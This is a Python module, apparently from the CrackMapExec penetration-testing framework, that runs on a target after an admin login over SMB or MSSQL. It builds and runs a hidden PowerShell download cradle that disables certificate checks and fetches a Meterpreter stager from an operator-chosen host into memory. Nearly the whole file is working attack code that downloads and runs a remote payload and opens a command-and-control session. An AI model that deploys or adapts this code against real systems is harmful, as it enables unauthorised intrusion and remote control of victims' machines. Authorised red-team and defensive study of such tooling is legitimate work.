57 lines
2.5 KiB
Python
57 lines
2.5 KiB
Python
from cme.helpers.powershell import *
|
|
from sys import exit
|
|
|
|
class CMEModule:
|
|
'''
|
|
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
|
Module by @byt3bl33d3r
|
|
'''
|
|
name = 'met_inject'
|
|
description = "Downloads the Meterpreter stager and injects it into memory"
|
|
supported_protocols = ['smb', 'mssql']
|
|
opsec_safe = True
|
|
multiple_hosts = True
|
|
|
|
def options(self, context, module_options):
|
|
'''
|
|
SRVHOST IP hosting of the stager server
|
|
SRVPORT Stager port
|
|
RAND Random string given by metasploit
|
|
SSL Stager server use https or http (default: https)
|
|
'''
|
|
|
|
self.met_ssl = 'https'
|
|
|
|
if not 'SRVHOST' in module_options or not 'SRVPORT' in module_options or not 'RAND' in module_options:
|
|
context.log.error('SRVHOST and SRVPORT and RAND options are required!')
|
|
exit(1)
|
|
|
|
if 'SSL' in module_options:
|
|
self.met_ssl = module_options['SSL']
|
|
|
|
self.srvhost = module_options['SRVHOST']
|
|
self.srvport = module_options['SRVPORT']
|
|
self.rand = module_options['RAND']
|
|
|
|
def on_admin_login(self, context, connection):
|
|
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
|
|
command = """$url="{}://{}:{}/{}"
|
|
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
|
|
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
|
|
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
|
|
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
|
|
$ProcessInfo.FileName=$PowershellExe
|
|
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
|
|
$ProcessInfo.UseShellExecute = $False
|
|
$ProcessInfo.RedirectStandardOutput = $True
|
|
$ProcessInfo.CreateNoWindow = $True
|
|
$ProcessInfo.WindowStyle = "Hidden"
|
|
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
|
|
'http' if self.met_ssl == 'http' else 'https',
|
|
self.srvhost,
|
|
self.srvport,
|
|
self.rand)
|
|
context.log.debug(command)
|
|
connection.ps_execute(command, force_ps32=True)
|
|
context.log.success('Executed payload')
|